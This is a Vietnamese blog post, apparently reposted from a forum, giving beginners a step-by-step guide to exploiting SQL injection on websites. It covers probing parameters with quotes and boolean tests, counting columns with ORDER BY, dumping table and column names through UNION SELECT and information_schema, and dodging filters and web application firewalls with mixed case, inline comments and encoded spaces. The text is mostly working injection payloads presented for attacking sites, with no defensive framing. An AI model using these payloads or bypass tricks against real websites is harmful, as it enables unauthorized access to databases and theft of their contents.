Tìm kiếm

Những lưu ý khi khai thác SQL

Cảm ơn anh.... (xin dấu tên)  đã share cho mình cái tài liệu học SQL này.
Mình thấy hay quá nên post lên cho anh em newbie cùng tham khảo.
--------------

1.Bước đầu tiên trong khi khai thác SQL chính là tìm lỗi:Có các cách tìm lỗi sau :
- Thêm dấu ' vào trang web trả về :

You have an error in your SQL syntax,supplied argument is not a valid MySQL


warning mysql_num_rows supplied argument is not a valid mysql result resource

.....
Thì chắc chắn là trang web đã bị lỗi SQL
-Thêm dấu ' vào , trang web trả về trang trắng hoặc một phần của trang thì nguy cơ trang đó dính lỗi là rất cao --> thử khai thác tiếp
-Thêm and 1=1 và 1=0 , trang web trả về trang trắng hoặc một phần -> dính lỗi

2.Tìm số field,column:Ta sử dụng câu lệnh order by để tính số field , số column trong cơ sở dữ liệu SQL
Để tiết kiệm thời gian các bạn order by để xác định khoảng rồi tìm ra số column
-Nếu order by 100-- - mà trang web đưa về lỗi

Error: Unknown column '100' in 'order clause'


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

.....
Thì các bạn tiếp tục giảm dần xác định khoảng rồi tìm ra
-Nếu order by 100-- - mà nó vẫn ra nguyên trang ban đầu thì các bạn thử thêm dấu ' sau phần id xem , nếu nó ra lỗi thì tiếp tục giảm dần để xác định khoảng
-Nếu cả 2 cách trên không được thì bạn ko dùng order by nữa , chuyển sang union select để tìm luôn ( cách này hơi mất thời gian )

3.Tìm số lỗi:Bạn dùng lệnh union select để tìm ra số lỗi .
-Nếu nó hiện ra số lỗi bình thường thì các bạn tiếp tục khai thác thôi
-Nếu nố không hiện ra số lỗi thì các bạn có thể thực một trong các cách sau :
+Viewsource để tìm số lỗi
+Xem các hình ảnh để tìm số
+Thay các column bằng null : null,null,null
+Thấy số id bằng null hoặc false
+Một số trường hợp khi bạn bỏ dấu - trước số đi lại có thể thấy số lỗi
+Dùng + hoặc alt + 255 thay cho dấu cách , viết hoa UNION SELECT

4.Khai thác

-Get thông tin về user , data , version
+Các bạn get version để biết hướng khai thác (MySQL ver 4 hoặc 5) : version() hoặc @@version hoặc có thể là convert(version() using latin1)
+Get user vầ database tương tự
-Get table và column
+Gat table : đối với MySQL 4 thì ta chỉ có thể đoán , mình đang tổng hợp lại các table và column hay dùng , còn đối với MySQL 5 thì chúng ta khai thác như sau
union select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=datase()
+Get column : UNION SELECT GROUP_CONCAT(COLUMN_ NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=0xtable_name
Convert table_name sang hex hoặc cũng có thể dùng CHAR(...)


5.By pass

-Khi query một số site nó chặn các hàn union , select , convert ,.... thì khi query nó trả về trang trắng , lúc này ta thấy đổi bằng các chữ hoa thường xen kẽ nhau :uNiOn , SeLeCt ,CoNvErT ,....
-Khi query nó trả về lỗi

Forbidden
You don't have permission to access /... on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
hoặc
Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request
thì ta thay thế union hoặc select bởi /*union*/ hoặc /*!union*/ ( /*select*/ hoặc /*!select*/)

-Khi query nó trả về lỗi

406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
thì ta thay thế space bởi %0A
-Khi query nó trả về lỗi

Error 500: Internal Server Error
The server encountered an unexpected condition which prevented it from fulfilling the request.
The problem is on the server side, not with your browser or the address. Most probably, a certain service (e.g., Tomcat engine) is down. Please contact your webmaster.
thì các bạn query id=.. and (select 1)=(select 0xAAAAAAAAAAAAAAAA 1000 A nhé) union select 1,2,3....
-------------------------
Trên đó là những chú ý về khai thác SQL --Các bạn xem thêm tut SQL sẽ hiểu rõ hơn.
Chúc thành công

Không có nhận xét nào:

Đăng nhận xét